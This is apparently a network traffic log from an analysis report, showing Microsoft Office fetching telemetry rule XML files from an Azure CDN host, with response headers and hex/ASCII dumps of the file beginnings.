2024-11-20 11:58:36 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:36 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 87533e62-501e-008f-028c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115836Z-1777c6cb754rz2pghC1TEBghen00000009f00000000073hw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:36 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:36 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:36 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:36 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 96190df9-401e-0016-6a8c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115836Z-185f5d8b95csp6jmhC1NYCwy6s0000000a2000000000funu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:36 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:36 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:36 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:36 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 07391e4c-a01e-0032-018c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115836Z-185f5d8b95cdh56ghC1NYCk1x4000000042g000000005kp5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:36 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:36 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:36 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:36 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c363d3e9-d01e-0028-158c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115836Z-185f5d8b95cqnkdjhC1NYCm8w80000000a1g000000009u9u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:36 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:36 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:36 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:36 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c363d474-d01e-0028-1b8c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115836Z-r1d97b9957744xz5hC1TEB5bf800000008t0000000002yzy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:36 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:36 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:36 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:36 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: f909e935-c01e-0049-358c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115836Z-185f5d8b95ctl8xlhC1NYCn94g0000000a5g00000000h3uu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:36 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:37 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:37 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:37 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: df1e4bb0-c01e-0034-6f8a-3a2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115837Z-185f5d8b95crwqd8hC1NYCps680000000a5000000000av0t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:37 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:37 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:37 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:37 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 07391f24-a01e-0032-508c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115837Z-r1d97b99577sdxndhC1TEBec5n00000008yg000000006w1z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:37 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:37 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:37 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:37 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: c9275c76-a01e-000d-7b8c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115837Z-1777c6cb754mrj2shC1TEB6k7w00000009k000000000h2s9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 11:58:37 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:37 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:37 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:37 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: ce1429b8-d01e-005a-2df1-3a7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115837Z-185f5d8b95ctl8xlhC1NYCn94g0000000a90000000008gry x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:37 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:37 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:37 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:37 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b47886c8-201e-00aa-0c8c-3a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115837Z-r1d97b9957747b9jhC1TEBgyec00000008u000000000f0sb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:37 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:37 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:37 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:37 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115837Z-r1d97b995778dpcthC1TEB4b5400000008r0000000007fwy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:37 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" 